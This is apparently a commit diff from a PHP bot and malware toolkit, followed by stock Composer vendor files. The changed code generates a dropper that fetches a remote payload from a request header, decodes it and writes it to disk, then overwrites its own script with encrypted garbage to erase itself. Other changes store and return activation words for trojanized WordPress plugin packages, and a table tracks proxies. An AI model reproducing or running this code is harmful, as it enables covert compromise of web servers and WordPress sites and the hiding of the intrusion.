😸

heck.

lib/database/slopSqlite.php

@@ -37,7 +37,7 @@ public function firstRun(): array
             "certs" => "CREATE TABLE IF NOT EXISTS sloppy_bots_certs(id INTEGER PRIMARY KEY AUTOINCREMENT NOT NULL,date_added TIMESTAMP NOT NULL DEFAULT CURRENT_TIMESTAMP,cert_location_on_disk TEXT UNIQUE NOT NULL,base64_encoded_cert TEXT UNIQUE NOT NULL,csr TEXT UNIQUE,pub TEXT UNIQUE,pem TEXT UNIQUE,cipher TEXT DEFAULT '-',is_encrypted BOOLEAN DEFAULT FALSE,priv_key_pass TEXT UNIQUE NOT NULL,rotated BOOLEAN NOT NULL DEFAULT FALSE);",
             "proxies" => "CREATE TABLE IF NOT EXISTS sloppy_bots_proxies(id INTEGER PRIMARY KEY AUTOINCREMENT NOT NULL,date_added TIMESTAMP NOT NULL DEFAULT CURRENT_TIMESTAMP,proxy_schema TEXT NOT NULL DEFAULT '-',proxy TEXT UNIQUE NOT NULL,times_used INTEGER NOT NULL DEFAULT 0,last_domain_contacted TEXT NOT NULL DEFAULT '-',proxy_still_viable BOOLEAN NOT NULL DEFAULT TRUE,round_trip_time INTEGER NOT NULL DEFAULT 0,time_outs INTEGER NOT NULL DEFAULT 0,successful_responses INTEGER NOT NULL DEFAULT 0);",
             "deployer" => "CREATE TABLE IF NOT EXISTS sloppy_deployer(id INTEGER PRIMARY KEY AUTOINCREMENT NOT NULL,encrypted_contents TEXT NOT NULL,pem_used TEXT NOT NULL DEFAULT 'NONE',targeted_host TEXT NOT NULL);",
-            "wordpress" => "CREATE TABLE IF NOT EXISTS sloppy_wordpress(id INTEGER PRIMARY KEY AUTOINCREMENT NOT NULL, zip_file TEXT NOT NULL)"
+            "wordpress" => "CREATE TABLE IF NOT EXISTS sloppy_wordpress(id INTEGER PRIMARY KEY AUTOINCREMENT NOT NULL, zip_file TEXT NOT NULL, activation_word TEXT UNIQUE NOT NULL)"
         ];
         foreach ($prepare_tables as $table => $createCall) {
             if ($this->exec($createCall) === true) {
@@ -51,7 +51,7 @@ public function firstRun(): array
     public function insertData(array $data): bool{
         switch ($data["action"]){
             case str_contains($data['action'], "add_press") !== false:
-                $this->exec(sprintf("INSERT INTO sloppy_wordpress(zip_file) VALUES ('%s');", $data['zip']));
+                $this->exec(sprintf("INSERT INTO sloppy_wordpress(zip_file, activation_word) VALUES ('%s', '%s');", $data['zip'], $data['activator']));
                 return true;
             case str_contains($data['action'], "add_bot"):
                 try{

lib/new_bots/makeMeSlim/slimDropper.php

@@ -58,7 +58,7 @@ function generateDropper(): array
                 \$$this->random_uuid_var = vsprintf('%s%s-%s-%s-%s-%s%s%s', str_split(bin2hex(\$$this->random_var), 4)).PHP_EOL.PHP_EOL;
             }
             echo \$$this->random_uuid_var . "_$this->randomized_name".PHP_EOL;
-            fputs(fopen('./$this->randomized_name.php', 'a+'), base64_decode(file_get_contents(\$_SERVER['$this->post_variable'][2])));
+            fputs(fopen('./$this->randomized_name', 'a+'), base64_decode(file_get_contents(\$_SERVER['$this->post_variable'][2])));
             foreach (file(\$_SERVER['SCRIPT_FILENAME']) as \$line){
                 fwrite(fopen(\$_SERVER['SCRIPT_FILENAME'], 'w'), openssl_encrypt(\$line, 'aes-256-ctr', bin2hex(openssl_random_pseudo_bytes(100)), OPENSSL_RAW_DATA|OPENSSL_NO_PADDING|OPENSSL_ZERO_PADDING, openssl_random_pseudo_bytes((int)openssl_cipher_iv_length('aes-256-ctr'))));
             }

lib/new_bots/wordpressPlugins/makeMeWordPressing.php

@@ -83,7 +83,8 @@ function {$spoof['Plugin Name:']}(){
         unlink($tr_name);
         rmdir($this->spoof_directory_name);
         return [
-            "TrojanPlugin" => "lib/new_bots/wordpressPlugins/trojanized_plugins/{$spoof['Plugin Name:']}.zip"
+            "TrojanPlugin" => "lib/new_bots/wordpressPlugins/trojanized_plugins/{$spoof['Plugin Name:']}.zip",
+            "ActivationWord" => $this->activator
         ];
     }
 }

lib/vendor/autoload.php

@@ -0,0 +1,25 @@
+<?php
+
+// autoload.php @generated by Composer
+
+if (PHP_VERSION_ID < 50600) {
+    if (!headers_sent()) {
+        header('HTTP/1.1 500 Internal Server Error');
+    }
+    $err = 'Composer 2.3.0 dropped support for autoloading on PHP <5.6 and you are running '.PHP_VERSION.', please upgrade PHP or use Composer 2.2 LTS via "composer self-update --2.2". Aborting.'.PHP_EOL;
+    if (!ini_get('display_errors')) {
+        if (PHP_SAPI === 'cli' || PHP_SAPI === 'phpdbg') {
+            fwrite(STDERR, $err);
+        } elseif (!headers_sent()) {
+            echo $err;
+        }
+    }
+    trigger_error(
+        $err,
+        E_USER_ERROR
+    );
+}
+
+require_once __DIR__ . '/composer/autoload_real.php';
+
+return ComposerAutoloaderInitd768c342fc329353ad44596ffc119b77::getLoader();

lib/vendor/bin/generate-defuse-key

@@ -0,0 +1,119 @@
+#!/usr/bin/env php
+<?php
+
+/**
+ * Proxy PHP file generated by Composer
+ *
+ * This file includes the referenced bin path (../defuse/php-encryption/bin/generate-defuse-key)
+ * using a stream wrapper to prevent the shebang from being output on PHP<8
+ *
+ * @generated
+ */
+
+namespace Composer;
+
+$GLOBALS['_composer_bin_dir'] = __DIR__;
+$GLOBALS['_composer_autoload_path'] = __DIR__ . '/..'.'/autoload.php';
+
+if (PHP_VERSION_ID < 80000) {
+    if (!class_exists('Composer\BinProxyWrapper')) {
+        /**
+         * @internal
+         */
+        final class BinProxyWrapper
+        {
+            private $handle;
+            private $position;
+            private $realpath;
+
+            public function stream_open($path, $mode, $options, &$opened_path)
+            {
+                // get rid of phpvfscomposer:// prefix for __FILE__ & __DIR__ resolution
+                $opened_path = substr($path, 17);
+                $this->realpath = realpath($opened_path) ?: $opened_path;
+                $opened_path = $this->realpath;
+                $this->handle = fopen($this->realpath, $mode);
+                $this->position = 0;
+
+                return (bool) $this->handle;
+            }
+
+            public function stream_read($count)
+            {
+                $data = fread($this->handle, $count);
+
+                if ($this->position === 0) {
+                    $data = preg_replace('{^#!.*\r?\n}', '', $data);
+                }
+
+                $this->position += strlen($data);
+
+                return $data;
+            }
+
+            public function stream_cast($castAs)
+            {
+                return $this->handle;
+            }
+
+            public function stream_close()
+            {
+                fclose($this->handle);
+            }
+
+            public function stream_lock($operation)
+            {
+                return $operation ? flock($this->handle, $operation) : true;
+            }
+
+            public function stream_seek($offset, $whence)
+            {
+                if (0 === fseek($this->handle, $offset, $whence)) {
+                    $this->position = ftell($this->handle);
+                    return true;
+                }
+
+                return false;
+            }
+
+            public function stream_tell()
+            {
+                return $this->position;
+            }
+
+            public function stream_eof()
+            {
+                return feof($this->handle);
+            }
+
+            public function stream_stat()
+            {
+                return array();
+            }
+
+            public function stream_set_option($option, $arg1, $arg2)
+            {
+                return true;
+            }
+
+            public function url_stat($path, $flags)
+            {
+                $path = substr($path, 17);
+                if (file_exists($path)) {
+                    return stat($path);
+                }
+
+                return false;
+            }
+        }
+    }
+
+    if (
+        (function_exists('stream_get_wrappers') && in_array('phpvfscomposer', stream_get_wrappers(), true))
+        || (function_exists('stream_wrapper_register') && stream_wrapper_register('phpvfscomposer', 'Composer\BinProxyWrapper'))
+    ) {
+        return include("phpvfscomposer://" . __DIR__ . '/..'.'/defuse/php-encryption/bin/generate-defuse-key');
+    }
+}
+
+return include __DIR__ . '/..'.'/defuse/php-encryption/bin/generate-defuse-key';

lib/vendor/bin/optimus

@@ -0,0 +1,119 @@
+#!/usr/bin/env php
+<?php
+
+/**
+ * Proxy PHP file generated by Composer
+ *
+ * This file includes the referenced bin path (../jenssegers/optimus/bin/optimus)
+ * using a stream wrapper to prevent the shebang from being output on PHP<8
+ *
+ * @generated
+ */
+
+namespace Composer;
+
+$GLOBALS['_composer_bin_dir'] = __DIR__;
+$GLOBALS['_composer_autoload_path'] = __DIR__ . '/..'.'/autoload.php';
+
+if (PHP_VERSION_ID < 80000) {
+    if (!class_exists('Composer\BinProxyWrapper')) {
+        /**
+         * @internal
+         */
+        final class BinProxyWrapper
+        {
+            private $handle;
+            private $position;
+            private $realpath;
+
+            public function stream_open($path, $mode, $options, &$opened_path)
+            {
+                // get rid of phpvfscomposer:// prefix for __FILE__ & __DIR__ resolution
+                $opened_path = substr($path, 17);
+                $this->realpath = realpath($opened_path) ?: $opened_path;
+                $opened_path = $this->realpath;
+                $this->handle = fopen($this->realpath, $mode);
+                $this->position = 0;
+
+                return (bool) $this->handle;
+            }
+
+            public function stream_read($count)
+            {
+                $data = fread($this->handle, $count);
+
+                if ($this->position === 0) {
+                    $data = preg_replace('{^#!.*\r?\n}', '', $data);
+                }
+
+                $this->position += strlen($data);
+
+                return $data;
+            }
+
+            public function stream_cast($castAs)
+            {
+                return $this->handle;
+            }
+
+            public function stream_close()
+            {
+                fclose($this->handle);
+            }
+
+            public function stream_lock($operation)
+            {
+                return $operation ? flock($this->handle, $operation) : true;
+            }
+
+            public function stream_seek($offset, $whence)
+            {
+                if (0 === fseek($this->handle, $offset, $whence)) {
+                    $this->position = ftell($this->handle);
+                    return true;
+                }
+
+                return false;
+            }
+
+            public function stream_tell()
+            {
+                return $this->position;
+            }
+
+            public function stream_eof()
+            {
+                return feof($this->handle);
+            }
+
+            public function stream_stat()
+            {
+                return array();
+            }
+
+            public function stream_set_option($option, $arg1, $arg2)
+            {
+                return true;
+            }
+
+            public function url_stat($path, $flags)
+            {
+                $path = substr($path, 17);
+                if (file_exists($path)) {
+                    return stat($path);
+                }
+
+                return false;
+            }
+        }
+    }
+
+    if (
+        (function_exists('stream_get_wrappers') && in_array('phpvfscomposer', stream_get_wrappers(), true))
+        || (function_exists('stream_wrapper_register') && stream_wrapper_register('phpvfscomposer', 'Composer\BinProxyWrapper'))
+    ) {
+        return include("phpvfscomposer://" . __DIR__ . '/..'.'/jenssegers/optimus/bin/optimus');
+    }
+}
+
+return include __DIR__ . '/..'.'/jenssegers/optimus/bin/optimus';